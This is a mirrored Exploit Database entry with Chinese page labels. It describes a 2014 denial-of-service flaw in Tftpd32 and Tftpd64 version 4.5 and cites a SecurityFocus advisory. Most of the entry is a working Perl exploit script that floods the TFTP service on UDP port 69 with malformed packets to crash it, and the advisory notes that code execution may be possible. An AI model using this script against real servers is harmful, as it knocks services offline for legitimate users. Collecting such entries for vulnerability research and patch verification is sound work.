TFTPD32 / Tftpd64 – Denial of Service

• Exploit Database
• 114 阅读

• 作者： j0s3h4x0r
  日期： 2014-05-14
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39331/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  source: https://www.securityfocus.com/bid/67404/info   Tftpd32 and Tftpd64 are prone to denial-of-service vulnerabilities.   An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, code-execution may be possible; however this has not been confirmed.   The following products are vulnerable:   Tftpd32 4.5 Tftpd64 4.5   #!/usr/bin/perl -w use IO::Socket; for (my $j = 0; $j < 2; $j++) { sleep(2); for (my $i = 0; $i < 1500; $i++) { $st_socket = IO::Socket::INET->new(Proto=>&apos;udp&apos;, PeerAddr=>&apos;127.0.0.1&apos;, PeerPort=>69) or die "connect error"; $p_c_buffer = "\x0c\x0d" x 10; print $st_socket $p_c_buffer; close($st_socket); print "sent " . $i . "\n"; } } exit;